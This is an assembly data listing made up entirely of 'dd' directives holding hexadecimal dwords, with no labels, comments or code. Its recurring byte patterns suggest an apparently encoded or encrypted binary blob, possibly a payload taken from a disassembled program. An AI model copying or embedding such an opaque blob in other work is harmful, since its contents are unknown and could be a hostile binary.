dd 9D77A293h, 0B2D5A7DDh, 678DE858h, 75B1DAAAh, 3BEB3256h
dd 4516BEBCh, 0A358CE50h, 48B13256h, 93502B18h, 0CD5F3856h
dd 0B988176Dh, 75497791h, 53B13256h, 5DB13245h, 66D89447h
dd 13209886h, 7E6F69C9h, 0F183CD34h, 2D1EC024h, 75B1CE13h
dd 89483256h, 0D6D7C796h, 0F8D1C748h, 2D6F37EEh, 28BE6C56h
dd 0D5B13250h, 0EAB1B959h, 0B2D03256h, 0A2C864D4h, 5DB13350h
dd 530B5256h, 36ADE42Fh, 3B4AB330h, 0D4343DC6h, 1FB13256h
dd 7A59C9D6h, 0BAB405D2h, 4D3C3D56h, 0A1B13256h, 57B138D8h
dd 0ABB4DB56h, 0DF8E3256h, 0AABB58D5h, 147AB936h, 0B558C9D6h
dd 5DB421D2h, 0B2323D56h, 37B13256h, 1F918D30h, 0D5B122BEh
dd 2154B156h, 0DE801C6Dh, 0B8851CDh, 65B2EDDBh, 57D06894h
dd 0BFD1CA16h, 0ABB13251h, 8E1499BDh, 2AF881Ah, 75B1325Ah
dd 4F66A694h, 0A8871AFBh, 13B13390h, 0D4BE6809h, 0ABB13253h
dd 9A9A7EEFh, 11315315h, 0CC353DBDh, 0DAB13252h, 5DB13EBEh
dd 28264C56h, 0DC06F7DDh, 896E5452h, 0D5313D1Ch, 0B0B13256h
dd 7761EEE9h, 0DAF1535Ch, 5DB1B259h, 2ED03256h, 4758C2B1h
dd 0FEB13256h, 7DDFCA7Ah, 37B15365h, 388B21E1h, 0DCCD6614h
dd 0DDBEC9D7h, 0AADFB659h, 0DABE3256h, 0ABB1325Dh, 6A77B336h
dd 0E5D975D7h, 76D0E4E1h, 0A8A37BD4h, 0C0A5250h, 11CEAAA9h
dd 162B733Bh, 2B497237h, 51BED0ADh, 0EAB13679h, 75B13DBFh
dd 8157F856h, 0B139742Dh, 7BCA7221h, 0F46895ABh, 0A452C9D6h
dd 0D5B2D0D2h, 6BD7C756h, 7A5255ADh, 0BAB534D2h, 45323D56h
dd 0CEB13256h, 57B123BFh, 52B29C56h, 508238Dh, 9EBA3463h
dd 6365185Ch, 0DAD05398h, 3C6EB9AFh, 0CE41D1D6h, 8730EDDDh
dd 0B016241Fh, 0A54AB237h, 0E96FB659h, 7A583256h, 0DDB13256h
dd 7D3529B2h, 63E6B8C4h, 0A40BC98h, 20D7F2FBh, 0C7585248h
dd 49B13256h, 599AD036h, 0F3956DA0h, 0F97D896Ch, 9E9C8501h
dd 0FE7520Dh, 1569FBD7h, 0B4D068A9h, 0E549D1D6h, 75B130D6h
dd 3AD05256h, 0D9BE8AADh, 0AEB13331h, 57B13ABFh, 392A3E56h
dd 983CCDF5h, 0EF3A3D1Dh, 15B13256h, 0DB99F7D6h, 52B40CD6h
dd 0AEB074D2h, 57B7DB56h, 4A0B3256h, 0BC4823CDh, 0E59C0CD6h
dd 75B000D2h, 0BB3F3D56h, 0A5B13256h, 0A1D90CD6h, 57B010D2h
dd 0B73C3D56h, 0DAB13256h, 0EAB124D3h, 75A0DB56h, 0CFFD3256h
dd 0D3A7A695h, 2D48A95Fh, 2F525B5h, 0EB9965E9h, 0D5BBBA59h
dd 0EF583256h, 56B13256h, 505769D1h, 24E7B0A9h, 0C8D1344Eh
dd 29EAD5D7h, 0B53A5437h, 0D5B137BFh, 1BF08C56h, 13D100D8h
dd 0B258F9DDh, 0F7B13256h, 0A4F270D4h, 36FE39F9h, 4249D5D6h
dd 0D5B1325Fh, 94EBEBAAh, 93916A2Ah, 413054C7h, 0D9BEDAD7h
dd 0AEB132F1h, 493A54AEh, 5B56B2AAh, 0D5B6BE59h, 6CBE3256h
dd 75B13257h, 413054A3h, 0D9BEF2D7h, 0AEB132D1h, 0C50B5236h
dd 20BEF310h, 54D753AEh, 8BF99C85h, 75BDDB36h, 0FB323256h
dd 0DFF7972Ah, 1C20A290h, 0BEE4B6B2h, 0ABB1325Dh, 0FEBC6E90h
dd 0C90BA37h, 8A3C09D6h, 0A2C6DFC4h, 5DB9DB50h, 0FB0E3256h
dd 18E3666Eh, 0A4ECC1D0h, 0D5B13AD9h, 0E8313D56h, 15B13256h
dd 31D15237h, 0BE30548Ch, 0F9D07698h, 6728D9D7h, 0CAE80138h
dd 0DA4D77DFh, 0EAB134D4h, 0B2065256h, 0DBD05336h, 0A1CCB1AFh
dd 0C343D57h, 37B13250h, 20D0CBA3h, 0C7B09FECh, 0EAB9DB50h
dd 381A3256h, 0C66AECFFh, 0B4E14E51h, 0AEB1325Bh, 0E46E8F7Ah
dd 7AC8DA0Ah, 0E20BA5D4h, 0EABEDB1Fh, 71F13256h, 69F433D3h
dd 0A8B33718h, 27C649BCh, 133B98Ah, 42B72A2Fh, 0D5B1325Dh
dd 3CAF53FFh, 7BD96608h, 4F5AE663h, 3D810E6Fh, 0A7F69AEEh
dd 58E9534Ch, 0ABB70ED4h, 0D5A3DB56h, 4F543256h, 0E9357583h
dd 66ED5504h, 0F54FA23Bh, 0A04B8635h, 451C88DDh, 0CDD13444h
dd 720AC2DDh, 8BDD9B07h, 743B3D06h, 42B13256h, 5DB13CBFh
dd 833F0056h, 0F6132597h, 61AF5F1Ch, 5E2FCFB4h, 0F2C864D4h
dd 4988CA50h, 0A5313D66h, 3DB13256h, 465FE4D6h, 57B13242h
dd 0AF3DA637h, 0E0F69E47h, 4853D3B5h, 72D961E8h, 9BEB184Eh
dd 52E9530Eh, 0AEB4F6D9h
dd 57A0DB56h, 0A1EC3256h, 0D960E9EFh, 95FD3C57h, 0FA940B79h
dd 31CE3A7Eh, 45C64FECh, 19BE5250h, 4F353D96h, 43B13256h
dd 0D5B13244h, 0EA94C252h, 0CCB40DA7h, 0F3A26E7Ah, 6DCBC519h
dd 0CFEF1618h, 20CCB0D5h, 0CBA5344Eh, 0DA58F6E1h, 4AB13256h
dd 7538812Ch, 0C7042D23h, 0E6CFE1E3h, 27D0D396h, 57A5DB61h
dd 0E1963256h, 0F56EBE5h, 1F30C1BDh, 0C9CB09E1h, 0B86718CAh
dd 4D58DDBEh, 5AB13256h, 0BD487253h, 0EF534981h, 70FBDB60h
dd 63982F92h, 7D582211h, 6FB13256h, 51E5E023h, 0FED7ECECh
dd 0C373B336h, 0CACC11D2h, 0ACE7B0DDh, 0F958344Eh, 74B13256h
dd 4D576C8Eh, 333DC40Dh, 4077CA02h, 8DADBF4Ah, 0B73A9EC4h
dd 0D5A1DB66h, 52F73256h, 22AB9BB7h, 0A0BD868Bh, 0F24F330Ah
dd 0A1E9C169h, 57B13CDFh, 0ABB8DB56h, 50D43256h, 2DBF78CEh
dd 0FC3E35B3h, 53443A09h, 5DB1369Fh, 0AEB13CBFh, 2B307A56h
dd 0C32F8F33h, 6ED28FFEh, 2D1CA4A1h, 75B3CA13h, 0B1583256h
dd 10B13256h, 2C07CCA0h, 816FD880h, 8E580F48h, 0DAB13256h
dd 0EAB133D3h, 7D58CE56h, 0E1B13256h, 501FECA4h, 69867C03h
dd 57B0CA13h, 0FBD13256h, 0D5B1B059h, 8BE83256h, 2CC88DDh
dd 0B358344Eh, 35B13256h, 1CB302A8h, 0DD7B0421h, 0DCCCB0D5h
dd 0DAA5344Eh, 0EAB13ED2h, 73353D56h, 0B5B13256h, 5DB132DCh
dd 4786BB56h, 57B1325Bh, 3BA6FD1Dh, 0C547B58Eh, 85AC6828h
dd 65F6BB5Ah, 0BAB9BA59h, 52D13256h, 0AEB132DFh, 0AF325356h
dd 0B7343D55h, 29B13256h, 93E7B091h, 75B3344Eh, 534D3256h
dd 5DB1324Dh, 0AEB134BFh, 5EBAB356h, 28020988h, 58BE30AEh
dd 0EAB130C2h, 75B0B959h, 39483256h, 52B1CA2Bh, 0AEB1FAD2h
dd 0D6D75256h, 213CAA89h, 63BE53A1h, 6EBE3310h, 75B13257h
dd 0BA319BAAh, 0D8BE3256h, 0AEB13260h, 8D0E3D36h, 20BE7237h
dd 0D5B13257h, 0EF59B1AEh, 75B139BFh, 16412756h, 47436D42h
dd 72030B94h, 57B140BFh, 0ABBDDB56h, 73E03256h, 0B63627Fh
dd 5B6A1295h, 459CA447h, 3DB13256h, 5F79EAD7h, 0BEE7089Ch
dd 0ABB1325Fh, 68E23B60h, 0AF4D927Ah, 0F6D06CB6h, 0AE5837BEh
dd 65B13256h, 0E1EAACB8h, 9BC1E53Fh, 9CD6611Dh, 42A9F83Ah
dd 8A273E26h, 75B139BFh, 8ED79956h, 7D3FFD9Ah, 1D1ED0EAh
dd 57B123BFh, 0AAAB3956h, 191C635Ah, 65010DA0h, 84129E5Bh
dd 53D04D0Eh, 5DB1320Eh, 0AEB6B459h, 0D3BE3256h, 0ABB13257h
dd 57BE61AAh, 0EAB13253h, 0AD063D36h, 0EC2BB937h, 3DB72A2Fh
dd 0FA085436h, 57B7DB41h, 0B01A3256h, 3D74A06Bh, 353A5437h
dd 46B5B937h, 0BAB13CBFh, 1FE59A56h, 0E4B99F03h, 43C4ADC8h
dd 0F0FCEFB0h, 0D5B135BFh, 6F8A0A56h, 0BA5D12C8h, 0BAB132FFh
dd 0FB343DD6h, 5BB13256h, 5858F455h, 0E4B13256h, 323CFB18h
dd 3A95BAD8h, 59C81F60h, 7A32B94Ah, 0D2BE5253h, 0AEB13256h
dd 36485237h, 0D2E7B055h, 29D1344Eh, 8B8E8D30h, 0F8BE7A37h
dd 0BAB13259h, 0B4D05236h, 0AEB13250h, 5B37BC8Bh, 22D0271Ah
dd 3CD13A11h, 0EAB13242h, 0B94D6B2Eh, 0D14B0961h, 307EB3DBh
dd 66644E07h, 1F35B19Ah, 0A4D0D9DCh, 0D5B13ED1h, 0EC3A3D56h
dd 7AB13256h, 0BAB132D9h, 51F6BB56h, 0AEB13FBFh, 0FE3C9156h
dd 0C8875C48h, 6F1A583Ch, 3494EB5h, 75B13067h, 0BABABD59h
dd 3BD13256h, 0C8A0C0E8h, 4B9AD5D7h, 0A469C537h, 0D5B13CDEh
dd 0EAB8DB56h, 59323256h, 6450638h, 765AAB20h, 7646CA90h
dd 57B9B459h, 2EBE3256h, 0D5B13254h, 2A325336h, 63333D53h
dd 53B13256h, 5DB13247h, 55C5A8D1h, 4BE1A109h, 3FC61219h
dd 99CCD01Ch, 0BC333142h, 15B72A2Fh, 7278B330h, 5E353D50h
dd 0C8B13256h, 1FD0E8DDh, 0AD3F3D36h, 0DAB13256h, 0EAB132DFh
dd 75A3DB56h, 0F5133256h, 60C22F80h, 877E2FACh, 0EDDEE9E9h
dd 0B09C6A09h, 0DDF6BB37h, 0EABEDA36h, 3F113256h, 0A0DDC70h
dd 815C2B14h, 1C2ADEDAh, 31E26C20h, 0CAE9E3DDh, 895FB236h
dd 0E6F6BB37h, 75B0B659h, 53483256h, 5DB1333Fh, 0AEB0B159h
dd 0AB443256h, 4248F265h, 0D5B1325Ch, 0E2D9CC06h, 0CB6EA069h
dd 0FC3BBC50h, 0DCD75257h, 57242991h, 58319A37h, 0ABB1F3D3h
dd 13B2CE56h, 0E871B1AAh, 71383D36h, 0DCB13256h, 3B8D5CEDh
dd 0CFAAE4EEh, 57B133EDh, 0AA3E3D56h, 29B13256h, 6EBEE95Dh
dd 75B13207h, 0D82BB8A3h, 0B4B725F9h, 0AEB13251h, 7C33EF7Bh
dd 2B5D715Ah, 5BBE33B5h, 0EAB13245h, 75BBDB36h, 2A963256h
dd 0CBC1939Eh, 6D29C676h, 58D0C8DDh, 0ABB12EDCh, 0C6585256h
dd 0F9B13256h, 3A7B0FD5h, 2E892738h, 34C0D6E3h, 7F586D47h
dd 0EE763C4h, 42723137h, 0D5B1325Ch, 85B3B532h, 0F893FAADh
dd 32BE1C04h, 5DB13257h, 0A6F6BBA3h, 0E9D76536h, 0A4EFCA31h
dd 0D5B132DAh, 0AD385356h, 75BFDB5Ah, 9F613256h, 523D5F76h
dd 5BEC3B2Eh, 0CA36F7CDh, 0ABB14EBFh, 0D46CA56h, 0EAB126BFh
dd 7DC91A56h, 70212BF9h, 0DE4A3A92h, 808AF9B3h, 342A9967h
dd 0AB4E176Fh, 50BE3256h, 0EAB13250h, 157D8436h, 7C9A5337h
dd 5DB121BFh, 4FCCFB56h, 456D99A2h, 0E07F5209h, 1DD13B73h
dd 609B1A47h, 0F649EAA1h, 334D3096h, 0DFBE3A11h, 0AEB1325Ch
dd 57B137BFh, 1BD67456h, 0D3581591h, 4AB13256h, 336B0AFDh
dd 0B6F6BB5Fh, 5DB13ABFh, 10496E56h, 0A7DF423Fh, 0CA4DCA39h
dd 0DD353DA3h, 0E5B13256h, 75B130DFh, 73D05256h, 5DBFBC59h
dd 0A7583256h, 40B13256h, 2BF6A3A9h, 65BD18C4h, 0E4585295h
dd 72B13256h, 1CF1DE75h, 67425FCh, 454EE3FAh, 360C81F0h
dd 204467AFh, 55D152BAh, 61D7CA9Fh, 7AD05395h, 0BAB13ED1h
dd 5B3B3D56h, 0A1B13256h, 57B132DAh, 5775B156h, 0D5B122BFh
dd 1D5C9056h, 3DD3665Eh, 9F908BA6h, 0DEC764B1h, 25BE52E0h
dd 57B13257h, 0ABB1DAAAh, 54EB3256h, 0F20372BCh, 13D1C750h
dd 7715D2D7h, 5DB122BFh, 450CD256h, 9E4A2C3Ah, 0F5E928C6h
dd 4943B330h, 503A53D6h, 73A94525h, 0BABDBC59h, 0D3BE3256h
dd 0AEB13250h, 57B1B659h, 62823256h, 0D5B0B959h, 69483256h
dd 0F1BE3269h, 0BAB13767h, 59658D36h, 47E6793Ah, 57B13259h
dd 375186C7h, 0C62E7E78h, 41825814h, 2D67BCFBh, 0DAB6B937h
dd 1B92CBE9h, 1B67B345h, 36ACAD45h, 52BD47A9h, 3CB947A9h
dd 0EAB13250h, 0BBBA626Eh, 46E1936Ah, 5DB8FEBEh, 0B93F3D56h
dd 58B13256h, 0ABB123D3h, 0D5BDDB56h, 0CF33256h, 0E91B0F75h
dd 606DC18Eh, 0D6BE0184h, 0AEB13246h, 57B139BFh, 714D2D56h
dd 5C50AA24h, 5EC09B40h, 0F0BEF25Dh, 0BAB13265h, 5DB6B059h
dd 2EBE3256h, 57B13257h, 42B6B9A3h, 0D5B13245h, 4896E5B0h
dd 6D93A787h, 91202929h, 0F159ABA3h, 47A1DB3Ah, 57B13274h
dd 0ABB0B059h, 564D3256h, 0E7582691h, 45B13256h, 0F7F9377Ah
dd 781A590Eh, 0D9E8277Fh, 0A84E18BFh, 0EE38CBA9h, 54D752AAh
dd 8B60A39Ch, 7ABD47A9h, 0BAB13AD0h, 0DABE5256h, 0AEB13256h
dd 5FC4CD37h, 0ABB9B359h, 55BE3256h, 0EAB13254h, 424E5336h
dd 3B59B836h, 0F57F979Fh, 0A8595375h, 58B1325Fh, 0ABB13EDBh
dd 0D5B6DB56h, 1CF43256h, 9245AF10h, 0B57139D9h, 5DB17AD2h
dd 0AEA2DB56h, 6DDC3256h, 8DB0C631h, 341E727Dh, 4DA9C8A0h
dd 0F227F39Ch, 0BAA0DB02h, 3BE23256h, 423FD17Ah, 9A9D0AABh
dd 83A6A513h, 3C6DF2B6h, 0EAB1318Fh, 75B122BFh, 19A80256h
dd 9BCDBE9Ah, 0EA96AB2Ch
dd 2502C733h, 57F4B901h, 0D5B6B159h, 6EBE3256h, 75B13257h
dd 0B5B60BA3h, 5DB29ED4h, 0EB4EC756h, 8D3A52AAh, 0AFCEB137h
dd 94353D56h, 8AB13256h, 1440B9AAh, 0BABD4DD5h, 5D83B659h
dd 0A4583256h, 0BFB13256h, 8BF6C36Eh, 66A6129h, 0EAE6DB52h
dd 0F4BE3256h, 0BAB1324Eh, 5DA3B959h, 0A3583256h, 86B13256h
dd 0A638E475h, 6B2DA20h, 20E522BAh, 8A4ECDEEh, 0BAA1DBA9h
dd 0D0A13256h, 0B3A7F71Eh, 0AA507665h, 986C560Dh, 0D0084AD2h
dd 0E5B13256h, 75B133D4h, 4944CE56h, 8C58C7FDh, 474ECDA8h
dd 57B13253h, 0B2C1F802h, 0C5CEB135h, 74353D53h, 15B13256h
dd 0BAB13DBFh, 0A6207956h, 0B1AD32CCh, 0B753CDC4h, 0DCA82E6Ch
dd 5305436h, 0B3E098A8h, 0A325337h, 3FBE3446h, 5DB132F5h
dd 0AEA3B459h, 5A583256h, 0FAB13256h, 51AFADF7h, 0C88F6253h
dd 621EA25h, 0BAB6BE59h, 0D6D13256h, 693A54A8h, 0D1BE7337h
dd 0ABB1325Ah, 0B40A5436h, 0EA3D3DABh, 14B13256h, 0DAB575DDh
dd 5DA0DA04h, 0BD2E3256h, 0FC825814h, 2567BCFBh, 0D31FF9Fh
dd 0B53AD141h, 2A3A530Eh, 0BB393D5Ah, 0A4B13256h, 0AEB300BFh
dd 0BEE75256h, 0ABB13253h, 0D8F36E3Bh, 303A6917h, 71F6B937h
dd 0A653B236h, 51EEB937h, 0AEA6BB59h, 31D13256h, 438D4CEDh
dd 0D5B1325Dh, 0B724A888h, 2A304F7Fh, 0E099D98Fh, 5C43DB37h
dd 25483256h, 0D4BE3611h, 0ABB1325Dh, 0D5B134BFh, 0D5AF3A56h
dd 0FECD6A7Eh, 81483E09h, 0D8BE3A09h, 0AEB13369h, 57B0B359h
dd 0A4443256h, 0D5B12AD7h, 0EAA2DB56h, 333D3256h, 2405650Dh
dd 0AC025097h, 7B877A9Eh, 0A83AC2DCh, 0CDD160B3h, 0DAECB6EFh
dd 0EAB137DAh, 0A2305456h, 31D00990h, 0D0BE3601h, 0AEB13241h
dd 57B120BFh, 80E72056h, 5073EC6h, 0C4111C1Eh, 299576DEh
dd 532BFFBDh, 5DB1325Bh, 29DBACB9h, 9F9231AEh, 0FEE448Ch
dd 0C5E419EEh, 8B48B936h, 9CA56755h, 0BAB13258h, 0C6F44B62h
dd 0AC8AED63h, 4E86384Dh, 24BEE31Eh, 0D5B1324Bh, 0EAA6B959h
dd 67583256h, 97B13256h, 46004D18h, 672F1EC5h, 0AD3228EBh
dd 35550EB5h, 0D9EEB9A7h, 0FB596036h, 3EB13256h, 5B807655h
dd 916E4236h, 0FE2D90DEh, 86CA4E59h, 20D76C08h, 0F9A53AEh
dd 0EAB4DB36h, 5BF93256h, 0DC391CF6h, 0B4D0E4DDh, 0AEB13250h
dd 0FC4792B0h, 40322350h, 0DE585253h, 6DB13256h, 104312F2h
dd 0BC45C4C5h, 4958A202h, 0EFB13256h, 45B6F0C6h, 0DE55DB5Eh
dd 20A6E81Dh, 465832BBh, 147C7D29h, 37BECE0Ch, 5DB13251h
dd 0AEB0B059h, 0BE483256h, 0ABB13227h, 0D5B120BFh, 2C600756h
dd 16CA3473h, 92B5B70Fh, 56D428F1h, 2533425Bh, 0DC4D3611h
dd 0A1583E09h, 0E4B13256h, 0D3D19236h, 7F2CA6D6h, 0E59ACAAFh
dd 5DA5DB52h, 7B333256h, 12D18EE8h, 3B16BC9Ah, 52895C1Eh
dd 4D4E0FC0h, 9E32CF9Dh, 6065253h, 5DB4DB06h, 9A973256h
dd 0EBAA85Ah, 0B63B3137h, 0B5B72042h, 8A728559h, 0FEBE8830h
dd 0DB778559h, 4DCEB137h, 83343D55h, 0BEB13256h, 0ABB13245h
dd 8E472268h, 0BDC2FD31h, 1CD279EAh, 44F0C7B5h, 1C6126B9h
dd 0AEBFB259h, 0D6D13256h, 0A4C22D9Fh, 0D5343D18h, 8BB13256h
dd 0FC49EB7Dh, 0DAB0330Ah, 0DCD7E2DDh, 0CFDC0489h, 0A84ECDEEh
dd 0AC333DA9h, 0B5B13256h, 55BE5336h, 700853A1h, 0B5B13256h
dd 5DB135D0h, 0AF3E3D56h, 0AEB13256h, 0A05899A5h, 2EB13256h
dd 687CD157h, 832386EDh, 0F58ACE3h, 524ECDADh, 0AEB13ADBh
dd 55303D56h, 0CBB13256h, 56BE5337h, 0EAB13257h, 7AD1FBAAh
dd 0BAB132D4h, 3C998156h, 0A1B12294h, 57B13ED5h, 0ABB6DB56h
dd 12803256h, 2A3B7778h, 0FDBE67B0h, 0BAB1324Ah, 5DA2DB36h
dd 0FF8D3256h, 0AD4F60EBh, 8C076F06h, 0EA541DCDh, 0A9E5153Fh
dd 14E861A2h, 3949DEDDh, 5058CE92h, 7BB13256h, 6013F75Ah
dd 5488CB97h, 0A9BF4315h, 0EA59CE36h, 2FB13256h, 298D8D7h
dd 0D9BE344Eh, 0AEB13247h, 57B13EBFh, 0E8234956h, 0CB896D8Ch
dd 0DE845C79h, 7AD1CE43h, 0DB44C3E1h, 2AC288DDh, 2FBE344Eh
dd 57B1324Dh, 0ABBFDB36h, 0DF0C3256h, 0FC60974Fh, 0BBEDAB17h
dd 6E309D9h, 5DB1B859h, 9DD03256h, 31D1529Fh, 219BD8D7h
dd 0B449B930h, 114D24EDh, 4A325353h, 7353D56h, 3DB13255h
dd 5B86C5D6h, 0AEB6B937h, 0ABA8B559h, 3CD13256h, 0EAB13244h
dd 43F7C2Ch, 0B85B70C5h, 0ED04FA62h, 0CAA28B3h, 0A8D0A16Bh
dd 54483E23h, 0C5583A23h, 9DB13256h, 0EE69869Fh, 1CF67508h
dd 0C3D27821h, 0FE40E160h, 5472DAA3h, 2AD13256h, 9815C6BDh
dd 0E1D0CB7Eh, 6E343D96h, 43B13256h, 0A53A5436h, 0CF70B930h
dd 0BE4D35DDh, 0ABB13271h, 3D305436h, 61D71154h, 0B23253ADh
dd 0CD58CB42h, 3D4ECDA9h, 0B559B330h, 57B9DB6Eh, 6A273256h
dd 792F6B7Ch, 63D06A9Ch, 0FDBECE13h, 0BAB13249h, 5DA8B859h
dd 0BA583256h, 37B13256h, 0D37933E8h, 3BDA1FFEh, 42CEDDF9h
dd 696F02BCh, 452C30CBh, 50583E23h, 3CB13256h, 795387B4h
dd 10E1BAECh, 0ACFBC734h, 3B947A9h, 75B1325Fh, 7A4CB680h
dd 76FC5F45h, 0A186CD77h, 57B13EDBh, 0AD3B3D56h, 0DAB13256h
dd 0EAB132D0h, 75B4DB56h, 0D0CF3256h, 0B5B0E7B1h, 0AEB1315Fh
dd 5C5852AFh, 0F8B13256h, 6AE66E06h, 0BCCBA76Fh, 0F1BED355h
dd 0BAB1324Eh, 5DB120BEh, 75E1DA56h, 0FFF72968h, 0D29530Dh
dd 8E7589A4h, 0B480725Bh, 7A713937h, 0BAB118D2h, 2458CB56h
dd 0CEB13254h, 57B13FBEh, 1EB7B556h, 46D1C8F8h, 2B001715h
dd 0FED7ACE5h, 38BE6A90h, 5DB13250h, 0AEB1B559h, 0DCD03256h
dd 0A449CE13h, 0D5B130D5h, 0D3D05256h, 34333D51h, 53B13254h
dd 5DB13251h, 8D73E6F0h, 0A87DB82Fh, 2EBECE13h, 0D5B13257h
dd 0EECEB1A3h, 35353D56h, 46B13256h, 5DBD4DD5h, 0AE84B659h
dd 58583256h, 0A2B13256h, 24BF7ED9h, 42E2CC8Bh, 84739028h
dd 53494C9Fh, 5DB132D4h, 0BA313DA3h, 58B13256h, 0ABB13CDDh
dd 0D5B8DB56h, 58F93256h, 0B1B180E3h, 2902B58h, 0A24ECDA9h
dd 0AEBBDB36h, 5B0F3256h, 11778E32h, 0EB2FE9A6h, 0EAB121BFh
dd 87113056h, 331276B3h, 0A74E68C6h, 0ECC01D71h, 0F4E09846h
dd 0ABB48B37h, 56BE3256h, 0EAB13243h, 75B122BFh, 15334B56h
dd 91E9AA85h, 0A97B5765h, 98FD4CFCh, 0CB1AC158h, 2DFC8B30h
dd 2C0E3D36h, 75B1B659h, 0DBD03256h, 0A24F48BFh, 0D132C7A9h
dd 0D3BE3746h, 0ABB13232h, 0D5B0BF59h, 69483256h, 7AB72229h
dd 0BAB194D3h, 0DCD75256h, 255A0AB9h, 0ABF05386h, 0A4B575DDh
dd 0D5B13ADCh, 0E83A3D56h, 15B13256h, 0B6EEB937h, 5DA7B859h
dd 0BF583256h, 0DFB13256h, 37CB2904h, 868220DEh, 5639C4D9h
dd 0F053B05Ch, 0BAB1F3BFh, 503F3D56h, 0CEB13256h, 0DC0BE0D7h
dd 2AD77E6Dh, 0B4A96180h, 8AB575DDh, 75A2DB36h, 28D23256h
dd 5C2596EDh, 7F86790h, 96A246A4h, 0A283F0EBh, 0B3D0C721h
dd 69C7FDD7h, 79EEB937h, 0BAB13ABFh, 0C1A71056h, 2BFF61D2h
dd 57D5DB25h, 0BF583256h, 69B13256h, 893A06D5h, 209EF97Fh
dd 880BCABEh, 97D58047h, 25C9B136h, 0DABE3611h, 0ABB13257h
dd 0D9EEB9AEh, 6F085436h, 147EB968h, 46B56D7Dh, 3DB4D9D5h
dd 0AEB135BEh, 8D991356h, 8BBAC080h, 0CF50B330h, 13D06816h
dd 76A14DD5h, 0BAA1B759h, 1C493256h, 0AD323D36h, 58B13256h
dd 7831C2E1h, 0C9A53D4h, 0EAB13BBFh, 161E6056h, 0DD58AF3Bh
dd 1384D2Bh, 22BE3357h
dd 57B1324Ah, 0ABA2DB36h, 449C3256h, 221C2793h, 951B7BE2h
dd 0CE364424h, 0CE29D680h, 0CFD052EDh, 0A84ECDEEh, 0ABA2DBA9h
dd 0AC7F3256h, 0BF396799h, 772AAE0Dh, 0FF7206EDh, 8DAFA11Bh
dd 0AEB48BF6h, 31D13256h, 0CA9F4EEDh, 3C4499A5h, 154ECF51h
dd 75B0BB59h, 4F483256h, 5DBFDB37h, 0EEC53256h, 0B3842C08h
dd 418969A7h, 203F38F6h, 0E5598636h, 0BCD0C5E1h, 0BABFB759h
dd 0DCD13256h, 0C4CD2B9h, 5E78B308h, 0CAFBC17Dh, 3CB13A94h
dd 0EAB1325Eh, 0DB68CA8Bh, 0BA0CAD00h, 5F383D36h, 24B13256h
dd 70086595h, 0F5C6A5FCh, 51BE6737h, 0EAB1325Eh, 75B3B059h
dd 0DBD13256h, 5DB13ABFh, 97923056h, 5C46A4A7h, 5E5DB9A1h
dd 0DA4DF6D5h, 0EAB121D4h, 75BFDB56h, 8183256h, 1071453Ah
dd 0C2B98DB6h, 0D8CBB673h, 0AA393D36h, 2CB13256h, 1FB977DDh
dd 7ABD776Dh, 0BAB16ED4h, 0B5315256h, 11BE5240h, 6CD053A0h
dd 2CBE2213h, 0D5B1321Fh, 0EAA2DA36h, 8D233256h, 0B96378B2h
dd 0B9B2EEBh, 4DCD6565h, 4552D08h, 0ABBDDB78h, 0C5E33256h
dd 3609C8Ch, 99A68915h, 30EB1722h, 18765386h, 0AEB132AAh
dd 0E9D75256h, 693A0E3Dh, 0D587DB37h, 8CD13256h, 893483EDh
dd 46F4F537h, 5DB13257h, 0AEB9B859h, 0D7BE3256h, 0ABB13254h
dd 0C0585336h, 0E5B13256h, 75B13DD5h, 0BABBDB56h, 0E7863256h
dd 5155B981h, 288A6852h, 5C315237h, 0D5B6DBC4h, 79823256h
dd 1BB05EF2h, 0FF3A53E1h, 57393DAAh, 0CEB13256h, 0D0BEDADCh
dd 0ABB13256h, 1749FB37h, 3D1325Ah, 75B13245h, 35185E2h
dd 39A1EE67h, 1297BA66h, 8E7600DEh, 0CD856055h, 0B486F8E8h
dd 0EAA3DB36h, 0E3E63256h, 197EA59Bh, 58524BBCh, 36E3AD13h
dd 5846697h, 0C4BE23E9h, 0B5E4537Dh, 0E5548930h, 75B138BEh
dd 2D27E356h, 80B5F38h, 0A14DD403h, 36EAF3E1h, 0A158DEDDh
dd 0DB13256h, 47E28B84h, 0BBE236B0h, 4675B122h, 5DB120BFh
dd 0F656956h, 0F4116B92h, 3DE1DF13h, 39A74096h, 8A171F33h
dd 75B1DAAFh, 3BEB3256h, 450F1EBCh, 25D75250h, 3642B98Eh
dd 0CB7801AFh, 3D69F7D6h, 0EAB13247h, 31FC6E50h, 0A1CB0A9Dh
dd 0C202C294h, 25334F66h, 0AD3A54B7h, 24BE530Eh, 0D5B13242h
dd 0EAB13DBFh, 0A7CF6A56h, 69C50079h, 0C54B44D9h, 4FA53C8Fh
dd 4658E965h, 0A4B13256h, 0BB16DE8Eh, 198D522Bh, 3C62BCD6h
dd 74F66D59h, 3D4D6FDFh, 0AEA3BE59h, 5A583256h, 0AEB13256h
dd 0EBC23A7Ah, 21E7C035h, 71D9E884h, 0DBE8EED6h, 2AC288DDh
dd 2D49344Eh, 0D3BE3269h, 0ABB130F8h, 0D3373D36h, 0E5B13256h
dd 75B132D8h, 0BA363D56h, 3CB13256h, 0A14E0DD5h, 57B178D3h
dd 0BD3D3D56h, 3CB13256h, 0EAB13247h, 5876B47Dh, 86814AD6h
dd 683DE175h, 73E8B94Ch, 4376B140h, 0ABB135BFh, 36277756h
dd 0AAEC106Eh, 8A4E98BFh, 0AE313DA9h, 0B4B13256h, 0AEB13259h
dd 0B3CA3375h, 0ED1837F9h, 281A91C8h, 69821C7Bh, 7AB13629h
dd 0BAB156D2h, 493C3D56h, 0CEB13256h, 57B13BBEh, 38F2456h
dd 0F773FFF5h, 8CE9DDD9h, 0F6D0C9DDh, 0B5B13E29h, 5DB172D2h
dd 6F305256h, 0A5F698Eh, 0ABB13CBFh, 0E21C3856h, 8221B5C4h
dd 0E48BCDCCh, 0DB86E362h, 5DB153BFh, 0AF353D56h, 0ABB13256h
dd 0ABB126BFh, 3BE79D56h, 9D8B6FBAh, 6F6C4778h, 0B05C35F5h
dd 8CE2CFFFh, 52F4CD82h, 57B123BFh, 4BA58D56h, 6B03416Ah
dd 2E164035h, 3501D41h, 0DCD1EE62h, 79E2E8D7h, 0BA76B137h
dd 57BDDB36h, 0E6333256h, 3481414Ch, 0A53277E7h, 0CED70BD7h
dd 42D020E8h, 0A24FD0BFh, 0D132CEA9h, 0D3BE3746h, 0ABB13227h
dd 0C5CEB1AAh, 61343D50h, 9CB13256h, 0BAB13247h, 51F3E7E8h
dd 89F42F9Eh, 0E3F93436h, 0F35D499Fh, 0D8587366h, 3CB13256h
